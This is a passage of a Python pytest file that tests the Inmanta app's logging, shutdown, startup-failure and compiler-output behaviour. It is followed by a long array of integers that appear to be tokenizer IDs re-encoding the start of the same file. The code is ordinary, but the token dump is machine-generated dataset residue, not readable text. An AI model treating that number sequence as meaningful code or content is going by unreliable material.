r"[a-z.]*[ ]*DEBUG[\s]+[a-x\.A-Z]*[\s]Starting Server Rest Endpoint",
],
[],
),
(
2,
True,
[r"[a-z.]*[ ]*INFO[\s]+[a-x\.A-Z]*[\s]Starting server endpoint"],
[r"[a-z.]*[ ]*DEBUG[\s]+[a-x\.A-Z]*[\s]Starting Server Rest Endpoint"],
),
],
)
@pytest.mark.timeout(60)
def test_log_file_set(tmpdir, log_level, with_tty, regexes_required_lines, regexes_forbidden_lines):
if is_colorama_package_available() and with_tty:
pytest.skip("Colorama is present")
log_file = "server.log"
(args, log_dir) = get_command(tmpdir, stdout_log_level=log_level, log_file=log_file, log_level_log_file=log_level)
if with_tty:
(stdout, _, _) = run_with_tty(args)
else:
(stdout, _, _) = run_without_tty(args)
assert log_file in os.listdir(log_dir)
log_file = os.path.join(log_dir, log_file)
with open(log_file, "r") as f:
log_lines = f.readlines()
check_logs(log_lines, regexes_required_lines, regexes_forbidden_lines, timed=True)
check_logs(stdout, [], regexes_required_lines, timed=True)
check_logs(stdout, [], regexes_required_lines, timed=False)
def check_logs(log_lines, regexes_required_lines, regexes_forbidden_lines, timed):
compiled_regexes_requires_lines = get_compiled_regexes(regexes_required_lines, timed)
compiled_regexes_forbidden_lines = get_compiled_regexes(regexes_forbidden_lines, timed)
for line in log_lines:
print(line)
for regex in compiled_regexes_requires_lines:
if not any(regex.match(line) for line in log_lines):
pytest.fail("Required pattern was not found in log lines: %s" % (regex.pattern,))
for regex in compiled_regexes_forbidden_lines:
if any(regex.match(line) for line in log_lines):
pytest.fail("Forbidden pattern found in log lines: %s" % (regex.pattern,))
def test_check_shutdown():
process = do_run([sys.executable, os.path.join(os.path.dirname(__file__), "miniapp.py")])
# wait for handler to be in place
try:
process.communicate(timeout=2)
except TimeoutExpired:
pass
process.send_signal(signal.SIGUSR1)
out, err, code = do_kill(process, killtime=3, termtime=1)
print(out, err)
assert code == 0
assert "----- Thread Dump ----" in out
assert "STOP" in out
assert "SHUTDOWN COMPLETE" in out
def test_check_bad_shutdown():
print([sys.executable, os.path.join(os.path.dirname(__file__), "miniapp.py"), "bad"])
process = do_run([sys.executable, os.path.join(os.path.dirname(__file__), "miniapp.py"), "bad"])
out, err, code = do_kill(process, killtime=5, termtime=2)
print(out, err)
assert code == 3
assert "----- Thread Dump ----" in out
assert "STOP" not in out
assert "SHUTDOWN COMPLETE" not in out
assert not err
def test_startup_failure(tmpdir, postgres_db, database_name):
(args, log_dir) = get_command(
tmpdir,
dbport=postgres_db.port,
dbname=database_name,
dbhost=postgres_db.host,
dbuser=postgres_db.user,
dbpass=<PASSWORD>,
server_extensions=["badplugin"],
)
pp = ":".join(sys.path)
# Add a bad module
extrapath = os.path.join(os.path.dirname(__file__), "data", "bad_module_path")
(stdout, stderr, code) = run_without_tty(args, env={"PYTHONPATH": pp + ":" + extrapath}, killtime=15, termtime=10)
assert "inmanta ERROR Server setup failed" in stdout
assert (
"inmanta.server.protocol.SliceStartupException: "
"Slice badplugin.badslice failed to start because: Too bad, this plugin is broken"
) in stdout
assert code == 4
def test_compiler_exception_output(snippetcompiler):
snippetcompiler.setup_for_snippet(
"""
entity Test:
number attr
end
implement Test using std::none
o = Test(attr="1234")
"""
)
output = (
"""Could not set attribute `attr` on instance `__config__::Test (instantiated at ./main.cf:8)` """
"""(reported in Construct(Test) (./main.cf:8))
caused by:
Invalid value '1234', expected Number (reported in Construct(Test) (./main.cf:8))
"""
)
def exec(*cmd):
process = do_run([sys.executable, "-m", "inmanta.app"] + list(cmd), cwd=snippetcompiler.project_dir)
out, err = process.communicate(timeout=30)
assert out.decode() == ""
assert err.decode() == output
exec("compile")
exec("export", "-J", "out.json")
@pytest.mark.timeout(15)
@pytest.mark.parametrize_any(
"cmd", [(["-X", "compile"]), (["compile", "-X"]), (["compile"]), (["export", "-X"]), (["-X", "export"]), (["export"])]
)
def test_minus_x_option(snippetcompiler, cmd):
snippetcompiler.setup_for_snippet(
"""
entity Test:
nuber attr
end
"""
)
process = do_run([sys.executable, "-m", "inmanta.app"] + cmd, cwd=snippetcompiler.project_dir)
out, err = process.communicate(timeout=30)
assert out.decode() == ""
if "-X" in cmd:
assert "inmanta.ast.TypeNotFoundException: could not find type nuber in namespace" in str(err)
else:
assert "inmanta.ast.TypeNotFoundException: could not find type nuber in namespace" not in str(err)
@pytest.mark.timeout(20)
def test_warning_config_dir_option_on_server_command(tmpdir):
non_existing_dir = os.path.join(tmpdir, "non_existing_dir")
assert not os.path.isdir(non_existing_dir)
(args, _) = get_command(tmpdir, stdout_log_level=3, config_dir=non_existing_dir)
(stdout, _, _) = run_without_tty(args)
stdout = "".join(stdout)
assert "Starting server endpoint" in stdout
assert f"Config directory {non_existing_dir} doesn't exist" in stdout
@pytest.mark.timeout(20)
def test_warning_min_c_option_file_doesnt_exist(snippetcompiler, tmpdir):
non_existing_config_file = os.path.join(tmpdir, "non_existing_config_file")
snippetcompiler.setup_for_snippet(
"""
entity Test:
number attr
end
"""
)
config_options = ["-c", non_existing_config_file, "-vvv"]
args = [sys.executable, "-m", "inmanta.app"] + config_options + ["compile"]
process = do_run(args, cwd=snippetcompiler.project_dir)
out, err = process.communicate(timeout=30)
assert process.returncode == 0
out = out.decode()
err = err.decode()
all_output = out + err
assert "Starting compile" in all_output
assert "Compile done" in all_output
assert f"Config file {non_existing_config_file} doesn't exist" in all_output
@pytest.mark.parametrize_any(
"with_tty, version_should_be_shown, regexes_required_lines, regexes_forbidden_lines",
[
(False, True, [r"Inmanta Service Orchestrator", r"Compiler version: ", r"Extensions:", r"\s*\* core:"], []),
(True, True, [r"Inmanta Service Orchestrator", r"Compiler version: ", r"Extensions:", r"\s*\* core:"], []),
(False, False, [], [r"Inmanta Service Orchestrator", r"Compiler version: ", r"Extensions:", r"\s*\* core:"]),
(True, False, [], [r"Inmanta Service Orchestrator", r"Compiler version: ", r"Extensions:", r"\s*\* core:"]),
],
)
@pytest.mark.timeout(20)
def test_version_argument_is_set(tmpdir, with_tty, version_should_be_shown, regexes_required_lines, regexes_forbidden_lines):
(args, log_dir) = get_command(tmpdir, version=version_should_be_shown)
if with_tty:
(stdout, _, _) = run_with_tty(args, killtime=15, termtime=10)
else:
(stdout, _, _) = run_without_tty(args, killtime=15, termtime=10)
assert len(stdout) != 0
check_logs(stdout, regexes_required_lines, regexes_forbidden_lines, False)
def test_init_project(tmpdir):
args = [sys.executable, "-m", "inmanta.app", "project", "init", "-n", "test-project", "-o", tmpdir, "--default"]
(stdout, stderr, return_code) = run_without_tty(args, killtime=15, termtime=10)
test_project_path = os.path.join(tmpdir, "test-project")
assert return_code == 0
assert os.path.exists(test_project_path)
(stdout, stderr, return_code) = run_without_tty(args, killtime=15, termtime=10)
assert return_code != 0
assert len(stderr) == 1
assert "already exists" in stderr[0]
| [
1,
529,
276,
1112,
420,
29958,
262,
29885,
6949,
29914,
262,
29885,
6949,
29899,
3221,
13,
15945,
29908,
13,
1678,
14187,
1266,
29871,
29906,
29900,
29896,
29947,
512,
29885,
6949,
13,
13,
1678,
10413,
21144,
1090,
278,
13380,
19245,
29892,
10079,
29871,
29906,
29889,
29900,
313,
1552,
376,
29931,
293,
1947,
1496,
13,
1678,
366,
1122,
451,
671,
445,
934,
5174,
297,
752,
13036,
411,
278,
19245,
29889,
13,
1678,
887,
1122,
4017,
263,
3509,
310,
278,
19245,
472,
13,
13,
4706,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
13,
1678,
25870,
3734,
491,
22903,
4307,
470,
15502,
304,
297,
5007,
29892,
7047,
13,
1678,
13235,
1090,
278,
19245,
338,
13235,
373,
385,
376,
3289,
8519,
29908,
350,
3289,
3235,
29892,
13,
1678,
399,
1806,
8187,
2692,
399,
1718,
29934,
13566,
29059,
6323,
8707,
29928,
22122,
29903,
8079,
13764,
29979,
476,
22255,
29892,
2845,
4653,
470,
2411,
2957,
29889,
13,
1678,
2823,
278,
19245,
363,
278,
2702,
4086,
14765,
1076,
11239,
322,
13,
1678,
27028,
1090,
278,
19245,
29889,
13,
13,
1678,
22387,
29901,
529,
26862,
6227,
29958,
13,
15945,
29908,
13,
13,
5215,
2897,
13,
5215,
337,
13,
5215,
7182,
13,
5215,
1014,
5014,
13,
5215,
10876,
13,
3166,
1014,
5014,
1053,
5974,
449,
9544,
2859,
13,
3166,
3244,
292,
1053,
29168,
13,
13,
5215,
11451,
1688,
13,
13,
5215,
297,
29885,
6949,
29889,
4422,
13,
3166,
297,
29885,
6949,
1053,
1040,
13,
13,
13,
1753,
679,
29918,
6519,
29898,
13,
1678,
13128,
29918,
3972,
29892,
13,
1678,
27591,
29918,
1188,
29918,
5563,
29922,
8516,
29892,
13,
1678,
1480,
29918,
1445,
29922,
8516,
29892,
13,
1678,
1480,
29918,
5563,
29918,
1188,
29918,
1445,
29922,
8516,
29892,
13,
1678,
5335,
287,
29922,
8824,
29892,
13,
1678,
4833,
637,
29922,
8516,
29892,
13,
1678,
4833,
978,
543,
262,
29885,
6949,
613,
13,
1678,
4833,
3069,
29922,
8516,
29892,
13,
1678,
4833,
1792,
29922,
8516,
29892,
13,
1678,
4833,
3364,
29922,
29966,
25711,
17013,
10202,
13,
1678,
2295,
29918,
3972,
29922,
8516,
29892,
13,
1678,
1923,
29918,
24299,
11759,
1402,
13,
1678,
1873,
29922,
8824,
29892,
13,
1125,
13,
1678,
3876,
29918,
3972,
353,
13128,
29918,
3972,
29889,
11256,
3972,
703,
4632,
2564,
710,
2084,
13,
1678,
1480,
29918,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
4632,
29918,
3972,
29892,
376,
1188,
1159,
13,
1678,
2106,
29918,
3972,
353,
2897,
29889,
2084,
29889,
7122,
29898,
4632,
29918,
3972,
29892,
376,
1272,
1159,
13,
1678,
363,
3884,
297,
518,
1188,
29918,
3972,
29892,
2106,
29918,
3972,
5387,
13,
4706,
2897,
29889,
11256,
3972,
29898,
12322,
29897,
13,
1678,
2295,
29918,
1445,
353,
2897,
29889,
2084,
29889,
7122,
29898,
4632,
29918,
3972,
29892,
376,
262,
29885,
6949,
29889,
16859,
1159,
13,
13,
1678,
565,
4833,
637,
338,
451,
6213,
29901,
13,
4706,
2011,
353,
4833,
637,
13,
1678,
1683,
29901,
13,
4706,
2011,
353,
297,
29885,
6949,
29889,
4422,
29889,
657,
29918,
9021,
29918,
23981,
29918,
637,
580,
13,
13,
1678,
411,
1722,
29898,
2917,
29918,
1445,
29892,
376,
29893,
29974,
613,
8025,
543,
9420,
29899,
29947,
1159,
408,
285,
29901,
13,
4706,
285,
29889,
3539,
703,
29961,
2917,
10725,
29876,
1159,
13,
4706,
285,
29889,
3539,
703,
1188,
29899,
3972,
543,
718,
1480,
29918,
3972,
718,
6634,
29876,
1159,
13,
4706,
285,
29889,
3539,
703,
3859,
29899,
3972,
543,
718,
2106,
29918,
3972,
718,
6634,
29876,
1159,
13,
4706,
285,
29889,
3539,
703,
29961,
9803,
10725,
29876,
1159,
13,
4706,
285,
29889,
3539,
703,
637,
543,
718,
851,
29898,
637,
29897,
718,
6634,
29876,
1159,
13,
4706,
285,
29889,
3539,
703,
978,
543,
718,
4833,
978,
718,
6634,
29876,
1159,
13,
4706,
565,
4833,
3069,
29901,
13,
9651,
285,
29889,
3539,
29898,
29888,
29908,
3069,
3790,
2585,
3069,
1012,
29876,
1159,
13,
4706,
565,
4833,
1792,
29901,
13,
9651,
285,
29889,
3539,
29898,
29888,
29908,
6786,
3790,
2585,
1792,
1012,
29876,
1159,
13,
4706,
565,
4833,
3364,
29901,
13,
9651,
285,
29889,
3539,
29898,
29888,
29908,
5630,
3790,
29966,
25711,
17013,
29958,
1159,
13,
4706,
285,
29889,
3539,
703,
29961,
2974,
10725,
29876,
1159,
13,
4706,
285,
29889,
3539,
29898,
29888,
29908,
17590,
29918,
24299,
3790,
742,
15300,
7122,
29898,
2974,
29918,
24299,
11383,
29876,
1159,
13,
13,
1678,
6389,
353,
518,
9675,
29889,
4258,
9246,
29892,
11663,
29885,
613,
376,
262,
29885,
6949,
29889,
932,
3108,
13,
1678,
565,
27591,
29918,
1188,
29918,
5563,
29901,
13,
4706,
6389,
29889,
4397,
703,
29899,
29908,
718,
376,
29894,
29908,
334,
27591,
29918,
1188,
29918,
5563,
29897,
13,
1678,
565,
1480,
29918,
1445,
29901,
13,
4706,
1480,
29918,
1445,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1188,
29918,
3972,
29892,
1480,
29918,
1445,
29897,
13,
4706,
6389,
4619,
6796,
489,
1188,
29899,
1445,
613,
1480,
29918,
1445,
29962,
13,
1678,
565,
1480,
29918,
1445,
322,
1480,
29918,
5563,
29918,
1188,
29918,
1445,
29901,
13,
4706,
6389,
4619,
6796,
489,
1188,
29899,
1445,
29899,
5563,
613,
851,
29898,
1188,
29918,
5563,
29918,
1188,
29918,
1445,
4638,
13,
1678,
565,
5335,
287,
29901,
13,
4706,
6389,
4619,
6796,
489,
9346,
287,
29899,
20756,
3108,
13,
1678,
565,
2295,
29918,
3972,
29901,
13,
4706,
6389,
4619,
6796,
489,
2917,
29899,
3972,
613,
2295,
29918,
3972,
29962,
13,
1678,
565,
1873,
29901,
13,
4706,
6389,
4619,
6796,
489,
3259,
3108,
13,
1678,
6389,
4619,
6796,
29899,
29883,
613,
2295,
29918,
1445,
29892,
376,
2974,
3108,
13,
1678,
736,
313,
5085,
29892,
1480,
29918,
3972,
29897,
13,
13,
13,
1753,
437,
29918,
3389,
29898,
5085,
29892,
8829,
3790,
1118,
274,
9970,
29922,
8516,
1125,
13,
1678,
2967,
6272,
353,
2897,
29889,
21813,
29889,
8552,
580,
13,
1678,
2967,
6272,
29889,
5504,
29898,
6272,
29897,
13,
1678,
1889,
353,
1014,
5014,
29889,
29925,
3150,
29898,
5085,
29892,
274,
9970,
29922,
29883,
9970,
29892,
27591,
29922,
1491,
5014,
29889,
2227,
4162,
29892,
380,
20405,
29922,
1491,
5014,
29889,
2227,
4162,
29892,
8829,
29922,
3188,
6272,
29897,
13,
1678,
736,
1889,
13,
13,
13,
1753,
3588,
29918,
517,
29918,
294,
18869,
29898,
726,
1125,
13,
1678,
736,
518,
1220,
363,
1196,
297,
1426,
29889,
13808,
703,
294,
18869,
2564,
5451,
14182,
29876,
1159,
565,
1196,
2804,
376,
3108,
13,
13,
13,
1753,
437,
29918,
21174,
29898,
5014,
29892,
12088,
2230,
29922,
29941,
29892,
1840,
2230,
29922,
29906,
1125,
13,
1678,
822,
437,
29918,
392,
29918,
1188,
29898,
9891,
29892,
10191,
1125,
13,
4706,
822,
281,
7295,
13,
9651,
1596,
29898,
7645,
29897,
13,
9651,
3653,
580,
13,
13,
4706,
736,
281,
13,
13,
1678,
260,
29896,
353,
29168,
29898,
21174,
2230,
29892,
437,
29918,
392,
29918,
1188,
29898,
5014,
29889,
21174,
29892,
376,
16757,
839,
1889,
5783,
13,
1678,
260,
29906,
353,
29168,
29898,
8489,
2230,
29892,
437,
29918,
392,
29918,
1188,
29898,
5014,
29889,
18821,
403,
29892,
376,
18821,
630,
1889,
5783,
13,
1678,
260,
29896,
29889,
2962,
580,
13,
1678,
260,
29906,
29889,
2962,
580,
13,
13,
1678,
714,
29892,
4589,
353,
1889,
29889,
27820,
403,
580,
13,
13,
1678,
260,
29896,
29889,
20713,
580,
13,
1678,
260,
29906,
29889,
20713,
580,
13,
13,
1678,
27591,
353,
3588,
29918,
517,
29918,
294,
18869,
29898,
449,
29897,
13,
1678,
380,
20405,
353,
3588,
29918,
517,
29918,
294,
18869,
29898,
3127,
29897,
13,
1678,
736,
313,
25393,
29892,
380,
20405,
29892,
1889,
29889,
2457,
401,
29897,
13,
13,
13,
1753,
1065,
29918,
14037,
29918,
4349,
29898,
5085,
29892,
8829,
3790,
1118,
12088,
2230,
29922,
29941,
29892,
1840,
2230,
29922,
29906,
1125,
13,
1678,
1889,
353,
437,
29918,
3389,
29898,
5085,
29892,
8829,
29897,
13,
1678,
736,
437,
29918,
21174,
29898,
5014,
29892,
12088,
2230,
29892,
1840,
2230,
29897,
13,
13,
13,
1753,
1065,
29918,
2541,
29918,
4349,
29898,
5085,
29892,
12088,
2230,
29922,
29941,
29892,
1840,
2230,
29922,
29906,
1125,
13,
1678,
9995,
23323,
451,
679,
775,
363,
3935,
260,
1017,
304,
1065,
13714,
297,
10346,
29892,
577,
591,
526,
285,
5086,
372,
9995,
13,
1678,
8829,
353,
426,
3075,
29889,
25838,
8193,
1164,
29918,
22051,
4741,
29918,
29911,
15631,
29901,
376,
3009,
9092,
13,
1678,
736,
1065,
29918,
14037,
29918,
4349,
29898,
5085,
29892,
8829,
29922,
6272,
29892,
12088,
2230,
29922,
21174,
2230,
29892,
1840,
2230,
29922,
8489,
2230,
29897,
13,
13,
13,
1753,
679,
29918,
16394,
29918,
13087,
7295,
13,
1678,
736,
364,
29908,
7110,
29881,
3199,
29946,
1012,
29899,
7110,
29881,
3199,
29906,
1012,
29899,
7110,
29881,
3199,
29906,
29913,
12452,
29881,
3199,
29906,
1012,
29901,
7110,
29881,
3199,
29906,
1012,
29901,
7110,
29881,
3199,
29906,
15379,
7110,
29881,
3199,
29941,
5038,
13,
13,
13,
1753,
679,
29918,
2388,
2356,
29918,
13087,
267,
29898,
13087,
267,
29892,
5335,
287,
1125,
13,
1678,
1121,
353,
5159,
13,
1678,
363,
6528,
297,
6528,
267,
29901,
13,
4706,
565,
5335,
287,
29901,
13,
9651,
6528,
353,
679,
29918,
16394,
29918,
13087,
580,
718,
376,
376,
718,
6528,
13,
4706,
13126,
29918,
13087,
353,
337,
29889,
12198,
29898,
13087,
29897,
13,
4706,
1121,
29889,
4397,
29898,
2388,
2356,
29918,
13087,
29897,
13,
1678,
736,
1121,
13,
13,
13,
1753,
338,
29918,
2780,
3304,
29918,
5113,
29918,
16515,
7295,
13,
1678,
1018,
29901,
13,
4706,
1053,
2927,
3304,
29871,
396,
694,
25621,
29901,
383,
29946,
29900,
29896,
13,
1678,
5174,
15591,
17413,
2392,
29901,
13,
4706,
736,
7700,
13,
1678,
736,
5852,
13,
13,
13,
1753,
1243,
29918,
27902,
29918,
5747,
29918,
2780,
3304,
29918,
5113,
29918,
275,
29918,
1333,
29918,
6338,
7295,
13,
1678,
9995,
13,
1678,
450,
2927,
3304,
3577,
12169,
278,
28684,
4890,
297,
323,
15631,
29899,
6707,
8638,
964,
443,
2780,
287,
4890,
29889,
13,
1678,
1094,
1316,
29892,
445,
3577,
881,
451,
367,
2198,
29889,
13,
1678,
9995,
13,
1678,
4974,
451,
338,
29918,
2780,
3304,
29918,
5113,
29918,
16515,
580,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
29918,
1384,
29898,
13,
1678,
376,
1188,
29918,
5563,
29892,
5335,
287,
29892,
411,
29918,
4349,
29892,
6528,
267,
29918,
12403,
29918,
9012,
29892,
6528,
267,
29918,
1454,
29890,
4215,
29918,
9012,
613,
13,
1678,
518,
13,
4706,
313,
13,
632,
29941,
29892,
13,
9651,
7700,
29892,
13,
9651,
7700,
29892,
13,
9651,
518,
29878,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
11690,
7110,
29879,
10062,
4763,
292,
1923,
16248,
613,
364,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
18525,
7110,
29879,
10062,
4763,
292,
5656,
11654,
2796,
3149,
12436,
13,
9651,
19997,
13,
4706,
10353,
13,
4706,
313,
13,
632,
29906,
29892,
13,
9651,
7700,
29892,
13,
9651,
7700,
29892,
13,
9651,
518,
29878,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
11690,
7110,
29879,
10062,
4763,
292,
1923,
16248,
12436,
13,
9651,
518,
29878,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
18525,
7110,
29879,
10062,
4763,
292,
5656,
11654,
2796,
3149,
12436,
13,
4706,
10353,
13,
4706,
313,
13,
632,
29941,
29892,
13,
9651,
7700,
29892,
13,
9651,
5852,
29892,
13,
9651,
518,
13,
18884,
364,
26732,
29916,
29896,
29890,
29905,
29961,
29941,
29906,
29885,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
11690,
7110,
29879,
14178,
29905,
29916,
29896,
29890,
29905,
29961,
29900,
29885,
320,
29916,
29896,
29890,
29905,
29961,
29941,
29946,
29885,
4763,
292,
1923,
16248,
613,
13,
18884,
364,
26732,
29916,
29896,
29890,
29905,
29961,
29941,
29953,
29885,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
18525,
7110,
29879,
14178,
29905,
29916,
29896,
29890,
29905,
29961,
29900,
29885,
320,
29916,
29896,
29890,
29905,
29961,
29941,
29946,
29885,
4763,
292,
5656,
11654,
2796,
3149,
613,
13,
9651,
21251,
13,
9651,
19997,
13,
4706,
10353,
13,
4706,
313,
13,
632,
29906,
29892,
13,
9651,
7700,
29892,
13,
9651,
5852,
29892,
13,
9651,
518,
29878,
26732,
29916,
29896,
29890,
29905,
29961,
29941,
29906,
29885,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
11690,
7110,
29879,
14178,
29905,
29916,
29896,
29890,
29905,
29961,
29900,
29885,
320,
29916,
29896,
29890,
29905,
29961,
29941,
29946,
29885,
4763,
292,
1923,
16248,
12436,
13,
9651,
518,
29878,
26732,
29916,
29896,
29890,
29905,
29961,
29941,
29953,
29885,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
18525,
7110,
29879,
14178,
29905,
29916,
29896,
29890,
29905,
29961,
29900,
29885,
320,
29916,
29896,
29890,
29905,
29961,
29941,
29946,
29885,
4763,
292,
5656,
11654,
2796,
3149,
12436,
13,
4706,
10353,
13,
4706,
313,
13,
632,
29941,
29892,
13,
9651,
5852,
29892,
13,
9651,
7700,
29892,
13,
9651,
518,
29878,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
11690,
7110,
29879,
10062,
4763,
292,
1923,
16248,
613,
364,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
18525,
7110,
29879,
10062,
4763,
292,
5656,
11654,
2796,
3149,
12436,
13,
9651,
19997,
13,
4706,
10353,
13,
4706,
313,
13,
632,
29906,
29892,
13,
9651,
5852,
29892,
13,
9651,
7700,
29892,
13,
9651,
518,
29878,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
11690,
7110,
29879,
10062,
4763,
292,
1923,
16248,
12436,
13,
9651,
518,
29878,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
18525,
7110,
29879,
10062,
4763,
292,
5656,
11654,
2796,
3149,
12436,
13,
4706,
10353,
13,
4706,
313,
13,
632,
29941,
29892,
13,
9651,
5852,
29892,
13,
9651,
5852,
29892,
13,
9651,
518,
13,
18884,
364,
26732,
29916,
29896,
29890,
29905,
29961,
29941,
29906,
29885,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
11690,
7110,
29879,
14178,
29905,
29916,
29896,
29890,
29905,
29961,
29900,
29885,
320,
29916,
29896,
29890,
29905,
29961,
29941,
29946,
29885,
4763,
292,
1923,
16248,
613,
13,
18884,
364,
26732,
29916,
29896,
29890,
29905,
29961,
29941,
29953,
29885,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
18525,
7110,
29879,
14178,
29905,
29916,
29896,
29890,
29905,
29961,
29900,
29885,
320,
29916,
29896,
29890,
29905,
29961,
29941,
29946,
29885,
4763,
292,
5656,
11654,
2796,
3149,
613,
13,
9651,
21251,
13,
9651,
19997,
13,
4706,
10353,
13,
4706,
313,
13,
632,
29906,
29892,
13,
9651,
5852,
29892,
13,
9651,
5852,
29892,
13,
9651,
518,
29878,
26732,
29916,
29896,
29890,
29905,
29961,
29941,
29906,
29885,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
11690,
7110,
29879,
14178,
29905,
29916,
29896,
29890,
29905,
29961,
29900,
29885,
320,
29916,
29896,
29890,
29905,
29961,
29941,
29946,
29885,
4763,
292,
1923,
16248,
12436,
13,
9651,
518,
29878,
26732,
29916,
29896,
29890,
29905,
29961,
29941,
29953,
29885,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
18525,
7110,
29879,
14178,
29905,
29916,
29896,
29890,
29905,
29961,
29900,
29885,
320,
29916,
29896,
29890,
29905,
29961,
29941,
29946,
29885,
4763,
292,
5656,
11654,
2796,
3149,
12436,
13,
4706,
10353,
13,
1678,
21251,
13,
29897,
13,
29992,
2272,
1688,
29889,
3502,
29889,
15619,
29898,
29906,
29900,
29897,
13,
1753,
1243,
29918,
1217,
29918,
1188,
29918,
1445,
29918,
842,
29898,
7050,
3972,
29892,
1480,
29918,
5563,
29892,
5335,
287,
29892,
411,
29918,
4349,
29892,
6528,
267,
29918,
12403,
29918,
9012,
29892,
6528,
267,
29918,
1454,
29890,
4215,
29918,
9012,
1125,
13,
1678,
565,
338,
29918,
2780,
3304,
29918,
5113,
29918,
16515,
580,
322,
411,
29918,
4349,
29901,
13,
4706,
11451,
1688,
29889,
11014,
703,
3306,
3304,
338,
2198,
1159,
13,
13,
1678,
313,
5085,
29892,
1480,
29918,
3972,
29897,
353,
679,
29918,
6519,
29898,
7050,
3972,
29892,
27591,
29918,
1188,
29918,
5563,
29922,
1188,
29918,
5563,
29892,
5335,
287,
29922,
9346,
287,
29897,
13,
1678,
565,
411,
29918,
4349,
29901,
13,
4706,
313,
25393,
29892,
17117,
24459,
353,
1065,
29918,
2541,
29918,
4349,
29898,
5085,
29897,
13,
1678,
1683,
29901,
13,
4706,
313,
25393,
29892,
17117,
24459,
353,
1065,
29918,
14037,
29918,
4349,
29898,
5085,
29897,
13,
1678,
1480,
29918,
1445,
353,
376,
2974,
29889,
1188,
29908,
13,
1678,
4974,
1480,
29918,
1445,
451,
297,
2897,
29889,
1761,
3972,
29898,
1188,
29918,
3972,
29897,
13,
1678,
4974,
7431,
29898,
25393,
29897,
2804,
29871,
29900,
13,
1678,
1423,
29918,
20756,
29898,
25393,
29892,
6528,
267,
29918,
12403,
29918,
9012,
29892,
6528,
267,
29918,
1454,
29890,
4215,
29918,
9012,
29892,
5335,
287,
29897,
13,
13,
13,
29992,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
29918,
1384,
29898,
13,
1678,
376,
1188,
29918,
5563,
29892,
411,
29918,
4349,
29892,
6528,
267,
29918,
12403,
29918,
9012,
29892,
6528,
267,
29918,
1454,
29890,
4215,
29918,
9012,
613,
13,
1678,
518,
13,
4706,
313,
13,
632,
29941,
29892,
13,
9651,
7700,
29892,
13,
9651,
518,
13,
18884,
364,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
11690,
7110,
29879,
10062,
29961,
29874,
29899,
29916,
23301,
29909,
29899,
29999,
14178,
7110,
29879,
29962,
4763,
292,
1923,
16248,
613,
13,
18884,
364,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
18525,
7110,
29879,
10062,
29961,
29874,
29899,
29916,
23301,
29909,
29899,
29999,
14178,
7110,
29879,
29962,
4763,
292,
5656,
11654,
2796,
3149,
613,
13,
9651,
21251,
13,
9651,
19997,
13,
4706,
10353,
13,
4706,
313,
13,
632,
29906,
29892,
13,
9651,
7700,
29892,
13,
9651,
518,
29878,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
11690,
7110,
29879,
10062,
29961,
29874,
29899,
29916,
23301,
29909,
29899,
29999,
14178,
7110,
29879,
29962,
4763,
292,
1923,
16248,
12436,
13,
9651,
518,
29878,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
18525,
7110,
29879,
10062,
29961,
29874,
29899,
29916,
23301,
29909,
29899,
29999,
14178,
7110,
29879,
29962,
4763,
292,
5656,
11654,
2796,
3149,
12436,
13,
4706,
10353,
13,
4706,
313,
13,
632,
29941,
29892,
13,
9651,
5852,
29892,
13,
9651,
518,
13,
18884,
364,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
11690,
7110,
29879,
10062,
29961,
29874,
29899,
29916,
23301,
29909,
29899,
29999,
14178,
7110,
29879,
29962,
4763,
292,
1923,
16248,
613,
13,
18884,
364,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
18525,
7110,
29879,
10062,
29961,
29874,
29899,
29916,
23301,
29909,
29899,
29999,
14178,
7110,
29879,
29962,
4763,
292,
5656,
11654,
2796,
3149,
613,
13,
9651,
21251,
13,
9651,
19997,
13,
4706,
10353,
13,
4706,
313,
13,
632,
29906,
29892,
13,
9651,
5852,
29892,
13,
9651,
518,
29878,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
11690,
7110,
29879,
10062,
29961,
29874,
29899,
29916,
23301,
29909,
29899,
29999,
14178,
7110,
29879,
29962,
4763,
292,
1923,
16248,
12436,
13,
9651,
518,
29878,
29908,
29961,
29874,
29899,
29920,
5586,
29930,
29961,
4514,
29930,
18525,
7110,
29879,
10062,
29961,
29874,
29899,
29916,
23301,
29909,
29899,
29999,
14178,
7110,
29879,
29962,
4763,
292,
5656,
11654,
2796,
3149,
12436,
13,
4706,
10353,
13,
1678,
21251,
13,
29897,
13,
29992,
2272,
1688,
29889,
3502,
29889,
15619,
29898,
29953,
29900,
29897,
13,
1753,
1243,
29918,
1188,
29918,
1445,
29918,
842,
29898,
7050,
3972,
29892,
1480,
29918,
